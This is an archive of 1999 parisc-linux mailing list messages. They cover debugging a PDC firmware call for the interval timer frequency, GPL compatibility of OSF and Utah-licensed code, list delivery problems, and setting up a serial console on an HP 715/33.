	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id BAA4036687
	for <parisc-linux@thepuffingroup.com>; Sun, 11 Jul 1999 01:18:58 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m1136OS-00025eC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Sun, 11 Jul 1999 01:18:52 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:9710


Philipp asked me to write a function to calculate the frequency of the
interval timer.  However, the PDC doesn't want to cooperate.  I see
`hello' printed on the screen, but not `world'.  So somehow this PDC
call is going wrong.  Anyone have any clues?  pim_info is not very
revealing.  If it helps anyone, the blinkenlights on my 715/33 are at:

10110010

Is there a document somewhere describing what the blinkenlights mean?

Here's the function:

/*
 * Find the interval timer frequency.
 */
static long calculate_interval_timer_frequency(void)
{
        long exponent, mantissa, result;
        long buf[4] __attribute__ ((aligned (8)));
printk("hello\n");
        (*pdc) (PDC_TOD, PDC_TOD_ITIMER, buf, 0);
printk("world\n");
        exponent = (buf[0] >> 20) & 0x7ff;
        mantissa = (buf[0] & 0xfffff) | 0x100000;
        result = (mantissa >> (1038 - exponent)) * 625 * 625;
printk("exponent = %ld mantissa = %ld result = %ld\n", exponent, mantissa, resul
t);
        return result;
}


-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Helge's commits
Date: Sun, 11 Jul 1999 11:36:06 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <37886585.34B86082@ruhr-uni-bochum.de>
References: <199907101141.FAA25297@puffin.external.hp.com> <19990711004621.G29058@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619694 12882 80.91.229.3 (22 Nov 2014 01:28:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:14 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Sun Jul 11 03:35:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA30453
	for <parisc-linux@puffin.external.hp.com>; Sun, 11 Jul 1999 03:35:20 -0600
Original-Received: (qmail 1342 invoked by uid 15267); 11 Jul 1999 09:35:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1335 invoked from network); 11 Jul 1999 09:35:52 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 11 Jul 1999 09:35:52 -0000
Original-Received: (qmail 7539 invoked from network); 11 Jul 1999 09:35:48 -0000
Original-Received: from dialppp-7-215.rz.ruhr-uni-bochum.de (HELO ruhr-uni-bochum.de) (134.147.7.215)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 11 Jul 1999 09:35:48 -0000
X-Mailer: Mozilla 4.51 [de]C-CCK-MCD QXW03200  (Win95; I)
X-Accept-Language: de,en
Xref: news.gmane.org gmane.linux.ports.parisc:9711

Hi Philipp,

Philipp Rumpf schrieb:

> First, please excuse me if I sound a bit aggressive ...
>
> > Update of /home/cvs/parisc/linux/include/asm-parisc
> > In directory puffin.external.hp.com:/tmp/cvs-serv25289
> >
> > Modified Files:
> >       pdc.h
> > Log Message:
> >
> > added the OS_ID-patch from Hannu..
>
> Helge, I very much appreciate you working on this project.

Thank you very much.

> Still, I think you
> should be a bit more communicative on what you commit, especially if there are
> legal (see the OSF code) or political (as I suspect might be the case for this
> change) issues.

Yes, you are right ! I will talk more to you and the list before I commit
something new. As you already said, there ARE legal und political issues, and
because of that I already asked the list in one of my last mails, if we are
allowed to use that code.
>From what I (and you too) saw, Utah CSS/CSL would be able to change that license,
the only question is, if OSF is willing to change it too ?

> I lost quite a bit of time yesterday because of the code you
> committed (which was partly due to the parisc-linux-cvs list not working) and

I'm really sorry for that, but I think adding some #defines to pdc.h could not
have been the problem.
I don't know any longer for sure, but I think I added a semicolon at the end of a
line in irq.h, and removed an unbalanced #if.. in irq.c, so that I could compile
vmlinux again. I really had everytime problems compiling vmlinux cleanly after
your commits, since it seemed, that you haven't tried to compile the kernel before
you committed something.
BUT: Please don't let us sue each other here... !
I PROMISE not to change and commit something in your or others current work again
!

> I would like to avoid that in the future.

As you can see, I would like to avoid that too and I'm sorry for any problems,
which showed up so far !

>         Philipp Rumpf

Helge Deller.


From - Thu Nov 08 21:15:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@netscape.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Helge's commits
Date: Sun, 11 Jul 1999 18:36:01 -0400
Organization: mozilla.org diplomatic corps
Lines: 24
Approved: news@gmane.org
Message-ID: <37891C51.71A7F3F5@netscape.com>
References: <199907101141.FAA25297@puffin.external.hp.com> <19990711004621.G29058@suse.de> <37886585.34B86082@ruhr-uni-bochum.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619695 12885 80.91.229.3 (22 Nov 2014 01:28:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:15 +0000 (UTC)
Cc: Philipp Rumpf <prumpf@suse.de>, parisc-linux@thepuffingroup.com
To: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Original-X-From: shaver@netscape.com  Sun Jul 11 16:39:15 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA32148
	for <parisc-linux@puffin.external.hp.com>; Sun, 11 Jul 1999 16:39:15 -0600
Original-Received: (qmail 9439 invoked by uid 15267); 11 Jul 1999 22:39:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9432 invoked from network); 11 Jul 1999 22:39:48 -0000
Original-Received: from h-205-217-237-47.netscape.com (HELO netscape.com) (205.217.237.47)
  by mailserv2.iuinc.com with SMTP; 11 Jul 1999 22:39:48 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id PAA27176
	for <parisc-linux@thepuffingroup.com>; Sun, 11 Jul 1999 15:39:18 -0700 (PDT)
Original-Received: from obob.netscape.com ([207.200.73.215]) by
          tintin.mcom.com (Netscape Messaging Server 4.1) with ESMTP id
          FEQ9LH00.88Z for <parisc-linux@thepuffingroup.com>; Sun, 11 Jul
          1999 15:39:17 -0700 
Original-Received: from netscape.com ([204.92.237.162]) by
          obob.netscape.com (Netscape Messaging Server 4.1) with ESMTP id
          FEQ9IL00.LA4; Sun, 11 Jul 1999 15:37:33 -0700 
Original-Sender: shaver@netscape.com (Mike Shaver)
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.2-ac3 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9712

Helge Deller wrote:
> From what I (and you too) saw, Utah CSS/CSL would be able to change that license,
> the only question is, if OSF is willing to change it too ?

OSF's license is _probably_ GPL-compatible as-is, though the requirement
for mention of permission notice in documentation might put it afoul,
and I'd want to check with a real lawyer to be sure.  The Utah CSS/CSL
license, as currently in place on pdc.h and such, is not at all
GPL-compatible.  Hopefully, we can get it changed, but in the meantime I
don't think we should be barging ahead and adding these files to the
tree. 

I and others (self-identify if you wish) think that until the issues are
cleared up, we should probably remove the OSF/CSS/CSL code from the
tree.  Hopefully we can get it all cleared up in short order, but until
then I'm nervous about what happens a month from now when Utah says
``no, you can't relicense'' and we have to redevelop lots of the code. 
Ask the 4.4LITE guys, it's not fun.

Mike

-- 
350842.71 306592.32


From - Thu Nov 08 21:15:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Helge's commits
Date: Sun, 11 Jul 1999 22:40:05 -0600 (MDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <199907120440.WAA09953@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619695 12887 80.91.229.3 (22 Nov 2014 01:28:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, prumpf@suse.de
To: Helge.Deller@ruhr-uni-bochum.de, shaver@netscape.com
Original-X-From: mike@fast.cs.utah.edu  Sun Jul 11 22:39:40 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA00437
	for <parisc-linux@puffin.external.hp.com>; Sun, 11 Jul 1999 22:39:39 -0600
Original-Received: (qmail 16969 invoked by uid 15267); 12 Jul 1999 04:40:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16958 invoked from network); 12 Jul 1999 04:40:12 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 12 Jul 1999 04:40:12 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id WAA09953;
	Sun, 11 Jul 1999 22:40:05 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:9713

> Date: Sun, 11 Jul 1999 18:36:01 -0400
> From: Mike Shaver <shaver@netscape.com>
> To: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
> Subject: Re: [parisc-linux] Helge's commits
> 
> Helge Deller wrote:
> > From what I (and you too) saw, Utah CSS/CSL would be able to change that license,
> > the only question is, if OSF is willing to change it too ?
> 
> OSF's license is _probably_ GPL-compatible as-is, though the requirement
> for mention of permission notice in documentation might put it afoul,
> and I'd want to check with a real lawyer to be sure.  The Utah CSS/CSL
> license, as currently in place on pdc.h and such, is not at all
> GPL-compatible.  Hopefully, we can get it changed, but in the meantime I
> don't think we should be barging ahead and adding these files to the
> tree. 
> 
Doh!  You are right, we do have quite a few files in there with the
notorious advertising clause.  I assume that is the sticky part?
I'll see what I can do...


From - Thu Nov 08 21:15:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Helge's commits
Date: Mon, 12 Jul 1999 07:00:12 +0200
Lines: 7
Approved: news@gmane.org
Message-ID: <19990712070012.A10285@suse.de>
References: <199907120440.WAA09953@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619695 12891 80.91.229.3 (22 Nov 2014 01:28:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:15 +0000 (UTC)
Cc: Helge.Deller@ruhr-uni-bochum.de, shaver@netscape.com,
        parisc-linux@thepuffingroup.com
To: Mike Hibler <mike@fast.cs.utah.edu>
Original-X-From: prumpf@suse.de  Sun Jul 11 22:59:48 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA00700
	for <parisc-linux@puffin.external.hp.com>; Sun, 11 Jul 1999 22:59:47 -0600
Original-Received: (qmail 18852 invoked by uid 15267); 12 Jul 1999 05:00:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18844 invoked from network); 12 Jul 1999 05:00:21 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 12 Jul 1999 05:00:21 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id BB8F732CE2; Mon, 12 Jul 1999 07:00:17 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 6B14D9410; Mon, 12 Jul 1999 07:00:17 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id 98A167F8B; Mon, 12 Jul 1999 07:00:12 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199907120440.WAA09953@fast.cs.utah.edu>; from Mike Hibler on Sun, Jul 11, 1999 at 10:40:05PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:9714

> Doh!  You are right, we do have quite a few files in there with the
> notorious advertising clause.  I assume that is the sticky part?
> I'll see what I can do...

Don't waste your time. The first thing to do is too check with OSF. I guess
their response will be "No way" so we can forget about that.


From - Thu Nov 08 21:15:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Helge's commits
Date: Sun, 11 Jul 1999 23:20:47 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <3928.931756847@upchuck.cygnus.com>
References: <19990712070012.A10285@suse.de>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619696 12892 80.91.229.3 (22 Nov 2014 01:28:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:16 +0000 (UTC)
Cc: Mike Hibler <mike@fast.cs.utah.edu>, Helge.Deller@ruhr-uni-bochum.de,
        shaver@netscape.com, parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: law@upchuck.cygnus.com  Sun Jul 11 23:22:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA00934
	for <parisc-linux@puffin.external.hp.com>; Sun, 11 Jul 1999 23:22:15 -0600
Original-Received: (qmail 21072 invoked by uid 15267); 12 Jul 1999 05:22:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21064 invoked from network); 12 Jul 1999 05:22:49 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 12 Jul 1999 05:22:49 -0000
Original-Received: from upchuck.cygnus.com (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id XAA03931;
	Sun, 11 Jul 1999 23:20:48 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Mon, 12 Jul 1999 07:00:12 +0200.
             <19990712070012.A10285@suse.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:9715


  > > Doh!  You are right, we do have quite a few files in there with the
  > > notorious advertising clause.  I assume that is the sticky part?
  > > I'll see what I can do...
  > 
  > Don't waste your time. The first thing to do is too check with OSF. I guess
  > their response will be "No way" so we can forget about that.
Maybe, maybe not.  Depends on what Mike finds in the UofU sources -- the UofU
wrote most of the PA code, not OSF.  So while OSF may have slapped a copyright
on it when they picked it up and modified it, there may well be versions in
the UofU tree that are not encumbered by the OSF license and are copyrighted
by the UofU only.

This is something I've been meaning to bright up with folks at the UofU, but
keep forgetting when I'm up there.  Mike's probably in a better position to do
it anyway since he's still with the UofU.

jeff


From - Thu Nov 08 21:15:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [Fwd: Re: [parisc-linux] PDC woes]
Date: Mon, 12 Jul 1999 10:51:52 +0200
Lines: 120
Approved: news@gmane.org
Message-ID: <3789ACA8.20302CBA@ruhr-uni-bochum.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------447487C03A72049BA408CDB6"
X-Trace: ger.gmane.org 1416619696 12894 80.91.229.3 (22 Nov 2014 01:28:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:16 +0000 (UTC)
To: parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Mon Jul 12 02:51:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA01798
	for <parisc-linux@puffin.external.hp.com>; Mon, 12 Jul 1999 02:51:16 -0600
Original-Received: (qmail 6420 invoked by uid 15267); 12 Jul 1999 08:51:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6413 invoked from network); 12 Jul 1999 08:51:51 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 12 Jul 1999 08:51:51 -0000
Original-Received: (qmail 25011 invoked from network); 12 Jul 1999 08:51:32 -0000
Original-Received: from dialppp-5-241.rz.ruhr-uni-bochum.de (HELO ruhr-uni-bochum.de) (134.147.5.241)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 12 Jul 1999 08:51:32 -0000
X-Mailer: Mozilla 4.51 [de]C-CCK-MCD QXW03200  (Win95; I)
X-Accept-Language: de,en
Xref: news.gmane.org gmane.linux.ports.parisc:9716

Dies ist eine mehrteilige Nachricht im MIME-Format.
--------------447487C03A72049BA408CDB6
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

If this message goes through, does anybody have any ideas, why my mails
sent from Netscape/Win95 goes through to the list, but those from
Netscape/Linux not ????
Thanks,
Helge.
(This message was sent with Netscape/Win95, the message below with
Netscape/Linux).


-------- Original Message --------
Betreff: Re: [parisc-linux] PDC woes
Datum: Mon, 12 Jul 1999 01:08:45 +0200
Von: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
An: Matthew Wilcox <Matthew.Wilcox@genedata.com>
CC: parisc-linux@thepuffingroup.com
Referenzen: <19990711011852.A25925@mencheca.ch.genedata.com>

Matthew Wilcox wrote:

> Philipp asked me to write a function to calculate the frequency of the
> interval timer.  However, the PDC doesn't want to cooperate.  I see
> `hello' printed on the screen, but not `world'.  So somehow this PDC
> call is going wrong.  Anyone have any clues?  pim_info is not very
> revealing.  If it helps anyone, the blinkenlights on my 715/33 are at:
>
> 10110010
>
> Is there a document somewhere describing what the blinkenlights mean?

>
>
> Here's the function:
>
> /*
>  * Find the interval timer frequency.
>  */
> static long calculate_interval_timer_frequency(void)
> {
>         long exponent, mantissa, result;
>         long buf[4] __attribute__ ((aligned (8)));
> printk("hello\n");
>         (*pdc) (PDC_TOD, PDC_TOD_ITIMER, buf, 0);
> printk("world\n");
>         exponent = (buf[0] >> 20) & 0x7ff;
>         mantissa = (buf[0] & 0xfffff) | 0x100000;
>         result = (mantissa >> (1038 - exponent)) * 625 * 625;
> printk("exponent = %ld mantissa = %ld result = %ld\n", exponent, mantissa, resul
> t);
>         return result;
> }
>
> --
> Matthew Wilcox <willy@bofh.ai>
> "Windows and MacOS are products, contrived by engineers in the service of
> specific companies. Unix, by contrast, is not so much a product as it is a
> painstakingly compiled oral history of the hacker subculture." - N Stephenson

Hi Matthew !

I took a little look at your code and found the problem(s):
1. When you call PDC-functions and want them to report values back into
a
result-buffer, this result-buffer always has to be a minimum of 32 longs
in size
and aligned (alignment differs from double-word bondaries to
4096-byte-boundaries
!).
The Problem was, that you only reserved a buffer for 4 longs, and so the
pdc-function overwrote the calling-stack, ergo: the pdc-call never
returned!
2. Maybe you also have to change (you should try!)
        (*pdc) (PDC_TOD, PDC_TOD_ITIMER, buf, 0);
to
        (*pdc) (PDC_TOD, PDC_TOD_ITIMER, &buf, 0);    (the &-sign..)

The new code looks then like the attachment.... and it worked here (But
I dont
know, if the values are correct!).

my output here was: exponent = 1029, mantissa = 1048576 result =
800000000

I hope that I could help you,

Helge.
--------------447487C03A72049BA408CDB6
Content-Type: text/plain; charset=us-ascii;
 name="timer_calc.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="timer_calc.c"

/*
 * Find the interval timer frequency.
 */
static long calculate_interval_timer_frequency(void)
{
        long exponent, mantissa, result;
        long buf[32] __attribute__ ((aligned (8)));
	//changed to 32
printk("hello\n");
        (*pdc) (PDC_TOD, PDC_TOD_ITIMER, &buf, 0);
	//changed to &buf
printk("world\n");
        exponent = (buf[0] >> 20) & 0x7ff;
        mantissa = (buf[0] & 0xfffff) | 0x100000;
        result = (mantissa >> (1038 - exponent)) * 625 * 625;
printk("exponent = %d mantissa = %d result = %d\n", 
		exponent, mantissa, result);
        return result;
}


--------------447487C03A72049BA408CDB6--


From - Thu Nov 08 21:15:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@netscape.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Fwd: Re: [parisc-linux] PDC woes]
Date: Mon, 12 Jul 1999 09:12:48 -0400
Organization: mozilla.org diplomatic corps
Lines: 23
Approved: news@gmane.org
Message-ID: <3789E9D0.6560CCD0@netscape.com>
References: <3789ACA8.20302CBA@ruhr-uni-bochum.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619696 12900 80.91.229.3 (22 Nov 2014 01:28:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:16 +0000 (UTC)
Cc: parisc-linux <parisc-linux@thepuffingroup.com>
To: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Original-X-From: shaver@netscape.com  Mon Jul 12 07:16:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA03298
	for <parisc-linux@puffin.external.hp.com>; Mon, 12 Jul 1999 07:16:09 -0600
Original-Received: (qmail 30673 invoked by uid 15267); 12 Jul 1999 13:16:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30666 invoked from network); 12 Jul 1999 13:16:43 -0000
Original-Received: from h-205-217-237-46.netscape.com (HELO netscape.com) (205.217.237.46)
  by mailserv2.iuinc.com with SMTP; 12 Jul 1999 13:16:43 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id GAA23164
	for <parisc-linux@thepuffingroup.com>; Mon, 12 Jul 1999 06:16:12 -0700 (PDT)
Original-Received: from obob.netscape.com ([207.200.73.215]) by
          tintin.mcom.com (Netscape Messaging Server 4.1) with ESMTP id
          FERE6R00.08S for <parisc-linux@thepuffingroup.com>; Mon, 12 Jul
          1999 06:16:03 -0700 
Original-Received: from netscape.com ([204.92.237.162]) by
          obob.netscape.com (Netscape Messaging Server 4.1) with ESMTP id
          FERE3U00.1AR; Mon, 12 Jul 1999 06:14:18 -0700 
Original-Sender: shaver@netscape.com (Mike Shaver)
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.2-ac3 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9717

Helge Deller wrote:
> 
> If this message goes through, does anybody have any ideas, why my mails
> sent from Netscape/Win95 goes through to the list, but those from
> Netscape/Linux not ????
> Thanks,
> Helge.
> (This message was sent with Netscape/Win95, the message below with
> Netscape/Linux).
> 
>
> Betreff: Re: [parisc-linux] PDC woes
> Datum: Mon, 12 Jul 1999 01:08:45 +0200
> Von: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
> An: Matthew Wilcox <Matthew.Wilcox@genedata.com>

I bet the mailing list software doesn't like the non-English headers.

Mike

-- 
428102.37 371017.85


From - Thu Nov 08 21:15:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich.Strelow@schering.de
Newsgroups: gmane.linux.ports.parisc
Subject: Antwort: [parisc-linux] serial console
Date: Mon, 12 Jul 1999 16:22:37 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <C12567AC.004F003B.00@BE2314.schering.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619697 12904 80.91.229.3 (22 Nov 2014 01:28:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:17 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Mike Shaver <shaver@netscape.com>
Original-X-From: Ulrich.Strelow@schering.de  Mon Jul 12 08:22:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA03701
	for <parisc-linux@puffin.external.hp.com>; Mon, 12 Jul 1999 08:22:33 -0600
Original-Received: (qmail 9330 invoked by uid 15267); 12 Jul 1999 14:23:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9323 invoked from network); 12 Jul 1999 14:23:08 -0000
Original-Received: from dns1.schering.de (149.234.12.1)
  by mailserv2.iuinc.com with SMTP; 12 Jul 1999 14:23:08 -0000
Original-Received: from be3334.schering.de by dns1.schering.de
          via smtpd (for mailserv2.iuinc.com [206.245.164.55]) with SMTP; 12 Jul 1999 14:23:04 UT
Original-Received: from fw-wiss.schering.de (be2314.schering.de [149.234.1.29])
	by be3334.schering.de (8.9.1/8.9.1) with SMTP id QAA01432;
	Mon, 12 Jul 1999 16:22:49 +0200 (MET DST)
Original-Received: from be2314.schering.de by fw-wiss.schering.de
          via smtpd (for be3334.schering.de [192.168.11.3]) with SMTP; 12 Jul 1999 14:22:51 UT
Original-Received: by BE2314.schering.de(Lotus SMTP MTA v4.6.2  (693.3 8-11-1998))  id C12567AC.004F017D ; Mon, 12 Jul 1999 16:22:57 +0200
X-Lotus-FromDomain: SCHERINGGROUP
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:9718



Today I have managed to setup my 715/33 to use a serial console so that I
am able to capture the boot messages for future tests. I did the following:

1. Connect the 715/33 to a PC via a null-modem cable.
2. Hold down the ESC key to stop the automatic selection process.
3. Enter "a" to get the BOOT_ADMIN> prompt
4. At this prompt issue the command: PATH console rs232_a

This switches the console path from "graphics_1" to the first serial port
(/dev/tty0p0 in HP-UX language).

I hope this helps. Maybe the syntax is different on other workstation
models (I think the 800 server models use the hardware path instead of
symbolic names).

Ulrich
---------------------------------------------
Ulrich Strelow
<ulrich.strelow@schering.de or
ulrich_strelow@yahoo.com>
Berlin, Germany




Mike Shaver <shaver@netscape.com> am 10.07.99 20:53:39


An:   parisc-linux@thepuffingroup.com
Kopie:     (Blindkopie: Ulrich Strelow/BE/USR/SHG)


Thema:    [parisc-linux] serial console





I have a serial console cable that came with my A180C, but I can't get
the silly box to talk to it.

I've tried with another known-good cable (it works with my Indy), and
still nothing.  What do I need to do to activate it?  I tried unplugging
the web console from the network, and rebooting with the serial cable
connected and minicom running, but still no joy.

Also, is there an equivalent to Sun's L1-A or the Indy's
send-break-over-serial that will get me back to the PROM in the event
that Linux jumps to east nowhere?  Or do I have to power cycle?

Mike

--
275134.15 242554.19

---------------------------------------------------------------------------
To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.






From - Thu Nov 08 21:15:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: E-Mail Problems..
Date: Mon, 12 Jul 1999 19:42:07 +0200
Lines: 109
Approved: news@gmane.org
Message-ID: <378A28EF.90612F7A@ruhr-uni-bochum.de>
References: <3789ACA8.20302CBA@ruhr-uni-bochum.de> <3789E9D0.6560CCD0@netscape.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
